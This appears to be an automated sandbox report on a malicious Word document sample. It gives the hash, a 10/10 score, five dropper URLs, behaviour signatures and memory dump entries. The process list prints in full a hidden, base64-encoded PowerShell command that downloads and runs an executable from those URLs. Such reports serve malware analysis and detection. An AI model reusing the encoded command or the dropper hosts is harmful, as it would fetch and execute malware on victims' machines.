Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    113s
  • resource
    win7v191014
  • submitted
    27-12-2019 04:29

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General

  • Target

    Malware Samples.zip

  • Sample

    191227-a5ctvybj9e

  • SHA256

    b492a779314f8e5acadc326421167bd4ac3ed160d9ad85ce5bd02d71434caa00

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://kaikeline.com/1B/
exe.dropper

http://irpot.com/css/jRk5gg/
exe.dropper

http://kartcup.net/picture_library/eqop/
exe.dropper

http://lakelass.com/cgi-bin/2dhm/
exe.dropper

http://ouimet.biz/cgi-bin/l/

Signatures

  • Modifies registry class 136 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Drops file in System32 directory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7fd7b14acff688e84b811d03e1831552.danger.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    • Drops file in System32 directory
    PID:1100
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABKAGQAZwB5AHQAbABnAHEAbgB0AHUAPQAnAFcAaABiAGsAYwB6AGEAaQBxAHIAZwBuACcAOwAkAE8AYwB3AHkAcAB5AGQAeABtAGoAagBnAGUAIAA9ACAAJwAxADYAJwA7ACQAWQBrAG4AdABkAGoAbwBpAHQAcAA9ACcASABsAGoAZQB2AGcAaQBhAGYAaAAnADsAJABUAHUAeQBjAHgAeABsAHoAbgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATwBjAHcAeQBwAHkAZAB4AG0AagBqAGcAZQArACcALgBlAHgAZQAnADsAJABGAHkAZgBzAG0AegBsAHQAPQAnAFMAZABmAGEAbwBsAGkAeQBpAHYAbgBuACcAOwAkAFUAYgBkAGwAaQB0AHcAcwBnAGwAaABzAGMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AdwBlAGIAYwBMAGkARQBOAHQAOwAkAFgAcwBjAGsAeAB5AGcAegBoAG4AcwB1AHMAPQAnAGgAdAB0AHAAOgAvAC8AawBhAGkAawBlAGwAaQBuAGUALgBjAG8AbQAvADEAQgAvACoAaAB0AHQAcAA6AC8ALwBpAHIAcABvAHQALgBjAG8AbQAvAGMAcwBzAC8AagBSAGsANQBnAGcALwAqAGgAdAB0AHAAOgAvAC8AawBhAHIAdABjAHUAcAAuAG4AZQB0AC8AcABpAGMAdAB1AHIAZQBfAGwAaQBiAHIAYQByAHkALwBlAHEAbwBwAC8AKgBoAHQAdABwADoALwAvAGwAYQBrAGUAbABhAHMAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADIAZABoAG0ALwAqAGgAdAB0AHAAOgAvAC8AbwB1AGkAbQBlAHQALgBiAGkAegAvAGMAZwBpAC0AYgBpAG4ALwBsAC8AJwAuACIAUwBgAFAATABpAFQAIgAoACcAKgAnACkAOwAkAEgAbQBrAGcAcgBvAGgAcQBsAGoAbwBmAGUAPQAnAFUAZAB2AHAAbgB0AGcAegB1AHIAeAByAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEIAeQBsAHgAcABrAG4AcAB3AGwAZQBtACAAaQBuACAAJABYAHMAYwBrAHgAeQBnAHoAaABuAHMAdQBzACkAewB0AHIAeQB7ACQAVQBiAGQAbABpAHQAdwBzAGcAbABoAHMAYwAuACIARABgAG8AYAB3AE4ATABvAEEAZABGAGAASQBMAGUAIgAoACQAQgB5AGwAeABwAGsAbgBwAHcAbABlAG0ALAAgACQAVAB1AHkAYwB4AHgAbAB6AG4AKQA7ACQAUQByAGUAaABsAGEAbwBlAD0AJwBNAGIAcgB3AG0AagBnAG4AYwAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFQAdQB5AGMAeAB4AGwAegBuACkALgAiAGwARQBuAGAAZwBgAFQASAAiACAALQBnAGUAIAAzADAANwA4ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGEAYABSAFQAIgAoACQAVAB1AHkAYwB4AHgAbAB6AG4AKQA7ACQAWQBnAGQAYQBtAHEAbwB1AHcAYQBxAGkAPQAnAEEAdwBqAHcAZgB6AHQAZwBhAHIAcABjAGgAJwA7AGIAcgBlAGEAawA7ACQARABlAGwAbAB5AHQAeABlAGsAbgB5AD0AJwBMAG0AawBpAGMAcQBpAGoAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAHkAcgBnAG0AbABrAGkAZwBkAD0AJwBGAHgAdgBjAGMAcwB5AGoAZwBqAGwAdgBvACcA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    PID:1752

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/1100-0-0x00000000061B0000-0x00000000061B4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1100-1-0x00000000062AB000-0x00000000062D1000-memory.dmp

    Filesize

    152KB

    Download

  • memory/1100-2-0x00000000062D1000-0x00000000062D3000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1100-3-0x0000000009040000-0x0000000009044000-memory.dmp

    Filesize

    16KB

    Download